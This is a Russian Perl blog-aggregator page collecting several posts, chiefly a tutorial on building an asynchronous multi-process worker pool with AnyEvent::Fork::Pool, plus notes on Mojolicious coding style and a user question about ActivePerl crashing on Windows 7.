Нужно проверить — является ли запускаемый процесс единственным, запущенным в данный момент, экземпляром программы, или уже есть другой, запущенный экземпляр?

Есть несколько методов такой проверки, отличающихся надежностью.
Читать дальше →

Понедельник, 1 сентября

Хабрахабр: Метки / perl: Mojolicious Perl Style


Хочу описать стиль программирования на языке Perl, к которому я стремлюсь и который в основном перенял от современного web-фреймворка Mojolicious, но наверное много где еще применяется подобный. Мне кажется выработать правильный стиль кодинга — очень важно.

Пример 1:
Методы в одну строку.
Если обращение к каждому аргументу функции происходит лишь один раз, и порядок применения их в коде соответствует порядку переданных аргументов, то предлагается извлекать их с помощью стандартной функции shift, которая если вызывается без аргументов, по-умолчанию работает с массивом @_, в котором хранятся все переданные аргументы функции, выталкивает первый аргумент из массива и возвращает его.

sub node { shift->tree->[0] }
#
sub parse { shift->_delegate(parse => shift) }
#
sub _tag { shift->new->tree(shift)->xml(shift) }


Пример 2:
Сначала извлекаем первый параметр, имя класса например, все остальные аргументы передаем другой функции и пусть она их обрабатывает.
sub tree { shift->_delegate(tree => @_) } 
# т.е. может превратиться в это _delegate(tree => [], deep => 5) или это _delegate(tree => [], 5, 0) 
sub log { shift->emit('message', lc shift, @_) }


Пример 3:
Тоже для метода в одну строчку.
Здесь происходит обращение к одному и тому же аргументу целых 3 раза, потому для доступа к аргументу используется прямое обращение к элементу массива аргументов $_[0].
sub _instance { ref $_[0] ? $_[0] : $_[0]->singleton }
#
sub find { $_[0]->_collect(@{$_[0]->_css->select($_[1])}) }


Читать дальше →

Четверг, 28 августа

Хабрахабр: Метки / perl: [Из песочницы] Асинхронный многопоточный пул воркеров на Perl


image

В работе веб-сервиса, да и вообще многих других систем, часто встречается необходимость выполнения различных фоновых задач. Для этого пишут скрипты — воркеры — которые берут список имеющихся задач и начинают их выполнять — с какой-то скоростью и в какой-то последовательности.

Понятное дело, хорошо, когда все задачи выполняются быстро и без проволочек.

Для ускорения выполнения задач желательно решить две проблемы:

  • Научить воркер не ждать выполнения каждого отдельного этапа задачи (асинхронность)
  • Научить воркер выполнять одновременно несколько задач (многопоточность) (disclaimer: на самом деле термин «многопоточность» тут используется в значении «многопроцессность»)

В этой статье мы рассмотрим вариант реализации воркера, который будет одновременно асинхронным и многопоточным.
Читать дальше →

Блог программиста — Perl, Ruby, C#: Использование MongoDB в Catalyst. Часть 1. Примеры кода

Разработка панели администратора, для доступа к системе логов. Создание модели для работы с MongoDB в Catalyst. Создание контроллера и tt-шаблонов для панели администратора. Взаимодействие с MongoDB, выборка данных, сортировка, использование лимитов, поиск одной-единственной записи. Получение списка всех доступных баз данных Mongo. Использование Variable::Eject. Простые примеры кода.   Задача MongoDB используется для хранения логов. Требуется создать […]

Вторник, 26 августа

Чтобы не искать: Асинхронный многопоточный пул воркеров на Perl



В работе веб-сервиса, да и вообще многих других систем, часто встречается необходимость выполнения различных фоновых задач. Для этого пишут скрипты - воркеры - которые берут список имеющихся задач и начинают их выполнять - с какой-то скоростью и в какой-то последовательности.

Понятное дело, хорошо, когда все задачи выполняются быстро и без проволочек.

Для ускорения выполнения задач желательно решить две проблемы:

  • Научить воркер не ждать выполнения каждого отдельного этапа задачи (асинхронность)

  • Научить воркер выполнять одновременно несколько задач (многопоточность) (disclaimer: на самом деле термин "многопоточность" тут используется в значении "многопроцессность")

В этой статье мы рассмотрим вариант реализации воркера, который будет одновременно асинхронным и многопоточным.

Модуль AnyEvent

Для программирования в асинхронном режиме в Перле есть отличный модуль
AnyEvent.

На всякий случай следует сказать, что на самом деле AnyEvent является оберткой над другими низкоуровневыми асинхронными модулями. Как DBI является оберткой и универсальным интерфейсом к разным базам данных, так и AnyEvent является оберткой и универсальным интерфейсом к различным реализациям асинхронных движков.

Для AnyEvent имеется огромное количество всевозможных расширений, в том числе есть и расширение для написания многопоточных приложений - модуль AnyEvent::Fork::Pool.

Модуль AnyEvent::Fork::Pool предоставляет простой способ создания пула воркеров, которые будут обрабатывать задачи в асинхронном многопоточном режиме.

Скрипт

Рассмотрим скрипт anyevent_pool.pl:


-------
#!/usr/bin/perl

use strict;
use warnings;

use AnyEvent::Fork::Pool;

# Модуль воркера
my $mod = 'Worker';
# Функция воркера
my $sub = 'work';

# Определить количество ядер в системе
my $cpus = AnyEvent::Fork::Pool::ncpu 1;

# Создать пул воркеров
my $pool = AnyEvent::Fork
  ->new
  ->require ($mod)
  ->AnyEvent::Fork::Pool::run(
      "${mod}::$sub",        # Модуль::Функция - рабочая функция воркера
      init => "${mod}::init", # Модуль::init - функция инициализации воркера
      max  => $cpus,         # Количество воркеров в пуле
      idle => 0,                   # Количество воркеров при простое
      load => 1,                  # Размер очереди воркера
  );

# Поставить пулу задачи
for my $str (qw{q2 rtr4 ui3 asdg5}) {
   $pool->($str, sub {
      print "result: @_\n";
   });
};

AnyEvent->condvar->recv;
-------

Несмотря на небольшой объем, этот скрипт представляет собой полноценное асинхронное многопоточное приложение.

Разберем его по частям.

Переменные


-------
# Модуль воркера
my $mod = 'Worker';
# Функция воркера
my $sub = 'work';
-------

Эти переменные задают связку между пулом и тем кодом, который будет выполять конкретные фоновые задачи. Пул - он один на всех, а задачи могут быть разные. Эти переменные указывают пулу, какой именно код (какую функцию из какого модуля) вы хотите запустить для выполнения конкретной задачи.

Например, у вас может быть модуль Text для обработки текста, а в модуле функции length и trim. И еще у вас может быть модуль Image, в котором могут быть функции resize и crop. Пулу совершенно без разницы, что делают ваши функции и как они устроены. Вам нужно просто сказать пулу, в каком модуле они находятся и как они называются, и пул их выполнит.

Важно! Модуль воркера не нужно подключать в скрипте через "use Worker". Пул сам автоматически подгрузит модуль воркера, вам нужно только правильно указать название модуля в переменной.

Количество ядер

-------
# Определить количество ядер в системе
my $cpus = AnyEvent::Fork::Pool::ncpu 1;
-------

Для многопоточного выполнения задач желательно знать, сколько в системе имеется ядер. Желательно, чтобы количество потоков, которые вы будете запускать, равнялось количеству ядер. Если потоков будет меньше - некоторые ядра будут простаивать зря, если потоков будет больше - некоторые потоки будут вставать в очередь и вместо ускорения получатся потери на диспетчеризацию.

Если по каким-то причинам количество ядер не удалось определить, то будет использоваться значение, указанное вручную. В данном случае это 1.

Пул

-------
# Создать пул воркеров
my $pool = AnyEvent::Fork
   ->new
   ->require ($mod)
   ->AnyEvent::Fork::Pool::run(
      "${mod}::$sub",            # Модуль::Функция - рабочая функция воркера
      init => "${mod}::init", # Модуль::init - функция инициализации воркера
      max  => $cpus,         # Количество воркеров в пуле
      idle => 0,                   # Количество воркеров при простое
      load => 1,                  # Размер очереди воркера
  );
-------

Пояснения к параметрам:

  • Рабочая функция воркера всегда должна указываться первым параметром. Это та самая функция того самого модуля, которую мы указали в двух первых "настроечных" переменных $mod и $sub. Это единственный обязательный параметр.

  • init - Если в вашем воркере есть необходимость инициализации, то в этом параметре можно указать название инициализирующей функции. В даном случае название функции указано как "init", поскольку это обычное название для такой функции, но, в принципе, можно указать любое другое название.

  • max - Этот параметр задает количество потоков, которые будет запускать пул. Именно тут следует указать ранее определенное количество ядер в системе (но если хотите - можете указать любое число, если знаете, что делаете).

  • idle - тут указывается количество воркеров, которые будут ждать "на низком старте". Чем больше это число (но не больше параметра max) - тем быстрее пул среагирует на новую поступившую задачу, но тем больше будет бесполезно ждущих (и жрущих ресурсы) процессов.

  • load - Сколько задач будет отдано каждому воркеру не дожидаясь исполнения предыдущих. Значение сильно зависит от ситуации - в каких-то случаях лучше меньше, в каких-то лучше больше. При прочих равных большее значение должно повышать эффективность работы пула (оптом - дешевле).

Также имеются и другие параметры, которые я здесь не рассматриваю. Они сильно специфичны и требуются редко. С полным списком параметров можно ознакомиться в документации модуля.

Постановка задач пулу

-------
# Поставить пулу задачи
for my $str (qw{q2 rtr4 ui3 asdg5}) {
   $pool->($str, sub {
      print "result: @_\n";
   });
};
-------

Пулу можно передать произвольное количество параметров, но последним параметром должен быть коллбэк. Коллбэк - это анонимная функция, которая будет вызвана после того, как воркер выполнит задачу. В эту функцию будут переданы результаты работы воркера.

Другими словами - эта функция является получателем результатов работы функции $sub. Все, что выдаст функция $sub, будет передано в качестве аргументов в функцию-коллбэк. Условно эту связь можно записать примерно так - "callback($sub)".

В нашем случае функция-коллбэк просто печатает все, что она получает.

Переменная же $str - это, собственно, и есть та самая задача, которую должен выполнить воркер. В нашем случае это просто одна строка (точнее - 4 строки, запускаемых в цикле). Строки тут не имеют никакого глубокого смысла, я просто позвал кота походить по клавиатуре.

В зависимости от ситуации вместо строки может быть всё, что угодно - имя файла, идентификатор записи в базе, математическое выражение, ссылка на сложную структуру с данными... короче говоря - всё, что угодно. Пулу без разницы, что это будет, он не обрабатывает это значение. Пул просто передает это значение воркеру, а вот тот уже должен знать, что с этим делать.

Запуск движка

-------
AnyEvent->condvar->recv;
-------

Эта строка говорит модулю AnyEvent, что нужно запустить в работу событийный движок и далее работать бесконечно.

В этом месте скрипт зациклится. Приведенный пример не имеет способа остановки и выхода из бесконечного цикла обработки задач. Вопрос условного выхода из цикла AnyEvent является более общим, а я здесь хочу рассмотреть только частный случай использования пула. Про условный выход из цикла можно почитать тут.


Сам воркер

Теперь возникает вопрос - а где же, собственно, сам воркер? Где код, исполняющий непосредственно работу?


Этот код вынесен в отдельный модуль, который мы указали в переменной $mod.

Вот код модуля Worker:

-------
package Worker;

use strict;
use warnings;

my $file;

sub init {
  open $file, '>>', 'file.txt';

  my $q = select($file);
  $|=1;
  select($q);

  return;
}

sub work {
  my ($str) = @_;

  for (1..length($str)) {
      print $file "$$ $str\n";
      sleep 1;
  };

  return $str, length($str);
}

1;
-------

Как видите, в модуле две функции - init и work.

Функция init инициализирует воркер. В нашем случае функция открывает лог-файл, в который далее будут выводиться результаты работы рабочей функции work. Как уже говорилось выше - функция init является необязательной, в нашем случае я сделал ее просто для наглядности.

Функция work - это главная функция. Это та самая рабочая функция, которая была задана в переменной $sub. Именно в этой функции выполняется вся работа, связанная с выполнением конкретной задачи.

В нашем случае функция выполняет простейшую работу - вычисляет длину строки. Для более наглядной демонстрации работы воркера я добавил в функцию цикл с секундной задержкой, который выводит строку в лог столько раз, сколько в строке букв.

Обратите внимание - функция возвращает два значения - саму строку и ее длину. Именно эти два значения будут переданы в коллбэк, заданный на этапе постановки задач пулу (а в коллбэке, как говорилось выше, эти значения будут просто напечатаны).

Вот, собственно, и весь код.

Запускаем пул

Теперь запустим наш пул и посмотрим, что получится:




Тут мы видим результаты работы пула. Можно заметить, что порядок вывода результатов отличается от порядка строк, заданного в цикле в скрипте. Причина понятна - у строк разная длина, поэтому воркеры обрабатывают строки с разной скоростью. Чем проще задача - тем она быстрее выполняется.

Теперь посмотрим не просто на результаты, но и на процесс работы воркеров. Для этого во втором окне запустим tail для лог-файла:



Обратите внимание - результаты работы выводятся вперемешку, так-как задачи выполняются одновременно. Слева видны идентификаторы процессов - видим, что задействованы 4 процесса. У меня в системе 4 ядра, поэтому одновременно выполняются все 4 задачи.

И, наконец, посмотрим на таблицу процессов:



Так выглядит дерево процессов нашего пула.

Первым в списке идет скрипт, далее менеджер пулов (да-да, пулов может быть несколько штук), потом менеджер пула, и, наконец, воркеры.

Если не полениться и сравнить идентификаторы процессов, то можно увидеть, что идентификаторы воркеров совпадают с идентификаторами в лог-файле.

Литература

Понедельник, 25 августа

Сообщество ru_perl в LiveJournal: Проблемы с Active Perl под Win7

До этого Active Perl не пользовался. Работал в Линуксе или Cygwine
Взял скриптик, работающий в Cygwin и запустил из виндовского окошка под Active Perl. Все отработало нормально, но в конце выскочило окошко с надписью "perl command line interpreter has stopped working". Ну и "windows is checking for a solution to the problem"
Потом вторая надпись меняется на "A problem caused the program to stop working correctly. Windows will close the program and notify you if a solution is available"
7-е винды, 64 бита. Перл - 32-битный. Так вышло,что есть 32-битные системы, а потому и перл 32-битный

Есть какие-то идеи,как убрать эту ошибку?
Заранее спасибо

Мета

Поиск

Участники

Список участников в формате OPML OPML

Добавить сайт

По-другому

Приборы